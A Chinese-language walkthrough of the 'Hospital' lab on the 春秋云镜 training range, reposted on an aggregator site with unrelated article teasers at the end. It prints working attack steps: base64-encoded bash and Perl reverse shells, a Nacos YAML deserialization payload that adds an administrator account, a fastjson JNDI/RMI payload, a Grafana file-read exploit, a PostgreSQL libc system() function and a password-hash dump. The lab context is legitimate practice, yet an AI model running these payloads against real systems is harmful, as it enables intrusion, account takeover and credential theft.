春秋云镜 Hospital

news/2024/9/19 20:20:58/文章来源:https://www.cnblogs.com/meraklbz/p/18421256

扔fscan去扫一下
image

heapdump泄露,然而不知道在哪下.dirsearch扫一下
image

访问/actuator/heapdump去下载泄露文件
直接用长城杯用的工具扫

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

image

得到key为GAYysgMQhG7/CzIJlVpR2g==,使用shiro综合利用去打
image

弹个shell

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}'

然后提升交互式终端,找个suid提权

find / -perm -u=s -type f 2>/dev/null

image

这vim.basic就很有说法,直接读文件.

vim.basic /root/flag/flag01.txt

image

flag:flag{42e15503-7b4c-4759-8c77-ea13077da2b4}
尝试写公钥拿rootshell,打死不成功,作罢.
架个横向代理,传个fscan去扫一下

./fscan -h 172.30.12.5/24___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.30.12.6     is alive
(icmp) Target 172.30.12.5     is alive
(icmp) Target 172.30.12.236   is alive
[*] Icmp alive hosts len is: 3
172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.236:8009 open
172.30.12.5:22 open
172.30.12.6:8848 open
[*] alive ports len is: 9
start vulscan
[*] NetInfo 
[*]172.30.12.6[->]Server02[->]172.30.12.6
[*] WebTitle http://172.30.12.5:8080   code:302 len:0      title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=9F9013B0B8CC47C01DCF45798B979648
[*] NetBios 172.30.12.6     WORKGROUP\SERVER02            
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=9F9013B0B8CC47C01DCF45798B979648 code:200 len:2005   title:医疗管理后台
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台
[*] WebTitle http://172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file 

访问172.30.12.6:8848/nacos,去看看这个yaml是什么说法.用户名和密码均为nacos进行后台登录,找到了db-config文件如下

server:port: 8080servlet:context-path: /hellospring:application:name: db-configcloud:nacos:discovery:server-addr: 127.0.0.1:8848config:server-addr: 127.0.0.1:8848file-extension: yamlnamespace: devgroup: DEFAULT_GROUPdata-id: db-config.yamldatasource:mysql:url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=trueusername: rootpassword: P@ssWord!!!redis:host: localhostport: 6379management:endpoints:web:exposure:include: '*'

去打Nacos Client Yaml 反序列化漏洞,使用yaml-payload-master去本地制作一个含有恶意yaml的jar包.
修改AwesomeScriptEngineFactory.java如下

public AwesomeScriptEngineFactory() {try {Runtime.getRuntime().exec("net user user123 Passw0r1d /add");Runtime.getRuntime().exec("net localgroup Administrators user123 /add");} catch (IOException e) {e.printStackTrace();}}

打包jar文件
image

把yaml.jar传到入口机上,去起一个httpserver.
使用nacos综合利用工具去扫一下
image

byd洞还挺多,虽然有密码但是加盐了不好爆.打一下这个yaml的
image

发现服务端收到请求,能打.看看用户是否成功添加

proxychains nxc rdp 172.30.12.6 -u user123 -p Passw0r1d --local-auth

image

成功添加.rdp上去拿flag.
image

flag:flag{bfa2811a-fbce-4617-9b33-216c09ca83c7}
访问172.30.12.236:8080,发现是个医疗管理平台.尝试登录发现数据以json格式向后端传输.
image

平台提示打fastjson,塞个{"@type": "java.lang.AutoCloseable"去看看fastjson版本.
image

1.2.45,在1.2.6之前,有洞.
发个dnslog的上去,探测是否存在dns外带
image

存在dns外带的洞
image

在入口机出起一个jndi_tool.jar

java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >& /dev/tcp/172.30.12.5/1234 0>&1"

然后在入口机通过nc -lvnp去监听.
扔到burp的fastjson插件生成一个json
image

然后修改dns为入口机ip,在burp下发送恶意的json.

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://172.30.12.5:1099/Object","autoCommit":true}
}

成功反弹shell.上来就是root权限,成功获得flag
image

flag:flag{6d12683f-9e29-428f-a7e7-0fa8d3c01fbe}
ifconfig发现存在双网卡
image

传个fscan来扫一下

./fscan -h 172.30.54.179/24___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.4
start infoscan
(icmp) Target 172.30.54.179   is alive
(icmp) Target 172.30.54.12    is alive
[*] Icmp alive hosts len is: 2
172.30.54.12:22 open
172.30.54.179:22 open
172.30.54.179:8080 open
172.30.54.12:5432 open
172.30.54.179:8009 open
172.30.54.12:3000 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://172.30.54.12:3000  code:302 len:29     title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909  title:Grafana
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964   title:医院后台管理平台

只存在一个172.30.54.12的Grafana服务.
grafana数据库存在漏洞CVE-2021-43798,导致任意文件读取.利用工具读出data_source的信息.

proxychains ./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000

得到user:[postgres] password[Postgres@123]database:[postgres]
直接登录数据库
image

PostgreSQL 8.1 及之前版本执行系统命令可以直接使用 Linux 中的 libc.so.6 文件

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

无法使用bash弹shell,使用perl去反弹shell

select system('perl -e \'use Socket;$i="172.30.54.179";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'');

sudo -l查看无密码文件
image

然而尝试登录发现如下
image

回到pssql命令行查询

select usename, passwd from pg_shadow;

如下

 usename  |               passwd                
----------+-------------------------------------root     | md5da974531914a7c2c56df745574a5bd3apostgres | md5dd27d33705155fd675e498384ad3d2ea
(2 rows)

在线破解得到root的密码为P@ssw0rd123
image

改个密码方便登录

ALTER USER root WITH PASSWORD '123456';

使用root账号登录.
注意反弹shell以后一定要提升一下shell的等级,不然直接卡死
image

使用psql终端命令拿shell

\?
!/bin/bash

image

得到了最后一个flag
image

flag:flag{c852ef47-3dbc-471c-bb6d-d65c1398f61c}

共用时5小时48分钟.有史以来做的最长的一个靶场,评价是环境一坨狗屎,炸了不知道多少次.shrio一弹shell就卡死,最多的时候同时开了将近十个终端.敢把任务挂后台就直接断,byd受不了一点了.知识点还是不错的,没有域环境,但是也学了很多东西.我的java学习是从春秋云镜开始的🤭🤭🤭

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/800063.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

章14——集合——Collection 接口

collection 里面可以存放不同数据类型,因为里面是 Object 遍历 Collection 接口方法1:迭代器 但凡实现了 collection 接口都可以用迭代器ArrayList list = new ArrayList();//得到一个集合的迭代器Iterator iterator = list.iterator();while (iterator.hasNext()){//next 函…

分享3款开源、免费的Avalonia UI控件库

Avalonia介绍 Avalonia是一个强大的框架,使开发人员能够使用.NET创建跨平台应用程序。它使用自己的渲染引擎绘制UI控件,确保在Windows、macOS、Linux、Android、iOS和WebAssembly等不同平台上具有一致的外观和行为。这意味着开发人员可以共享他们的UI代码,并在不同的目标平台…

想做数据报表?你的“后台”够硬吗

在数据驱动的时代,制作一份高效、精准的数据报表成为企业管理和决策的重要手段。但要做好数据报表,不仅需要一款功能强大的报表工具,还必须有一个强有力的“后台”管理系统来支撑。那么,为什么报表工具需要一个管理后台?以及管理后台的核心功能有哪些?今天就带大家一探究…

centos789手动无脑用sh脚本安装Java8

#老师给的文件是jdk1.8版本,所以我这边写的也是1.8的脚本 输入命令:mkdir –p /export/data #放置相关的数据文件 输入命令mkdir –p /export/servers #软件的安装目录 输入命令:mkdir –p /export/software 上传文件jdk-8u241-linux-x64.tar.gz到/export/software目录 然后…

C++ vector 的一些操作

▲ 《C++ Primer》 P87▲ 《C++ Primer》 P91

BoardLight

​​这是一个easy程度的靶机,所以博主写的也很简单,总共有2个flag。 信息收集端口扫描: ​​发现开放了22,80端口 Web渗透 ​​最底部发现域名 board.htb写进/etc/hosts​文件中 sudo echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts 对他进行子域名爆破…

LLM学习笔记-长度外推技术

长度外推为在不需要对模型进行额外训练的情况下,模型可以处理更长的序列。本篇文章主要介绍目前大模型用到的一些长度外推技术,包括以RoPE为基础进行位置插值、NTK-aware、动态NTK、NTK-by-parts 和YaRN。关于RoPE,可参见我的上一篇博客LLM学习笔记-位置编码篇 位置插值 回想…

裘立帆-第一次作业

在博客园建立个人技术博客,完善个人信息及博客设置,并发布一篇包含自我介绍、技能树与技术偏好、课程期望的随笔,以此作为课程参与的开始。这个作业属于哪个课程 https://edu.cnblogs.com/campus/zjlg/rjjc/这个作业的目标 熟悉博客的写作和使用,将自己介绍给老师和助教姓名…

章14——集合——集合体系

目录两个难点 底层机制,和不同应用场景下的选择集合体系图,需要背诵!总结: 1、集合主要是两组(单列集合、双列集合) 2、Collection 接口有两个重要的子接口 List Set, 他们的实现子列都是单列集合 3、Map 接口实现的子类是双列集合,存放的是key,value 4、上述两张图要记…

使用 VSCode 调试 Zig

首要条件是你本地需要安装MinGW-w64. 可以参考MinGW-w64安装教程——著名C/C++编译器GCC的Windows版本 - jack_Meng - 博客园 (cnblogs.com) 这里有几点需要注意,在2024年9月时,我没有找exe的安装,你需要在github下载 Releases niXman/mingw-builds-binaries (github.com) …

Go 入门指南:8.5. map 的排序

原创 吃个大西瓜 Coding Big Tree2024年09月19日 08:00 云南map 默认是无序的,不管是按照 key 还是按照 value 默认都不排序(详见第 8.3 节)。 如果你想为 map 排序,需要将 key(或者 value)拷贝到一个切片,再对切片排序(使用 sort 包,详见第 7.6.6 节),然后可以使用…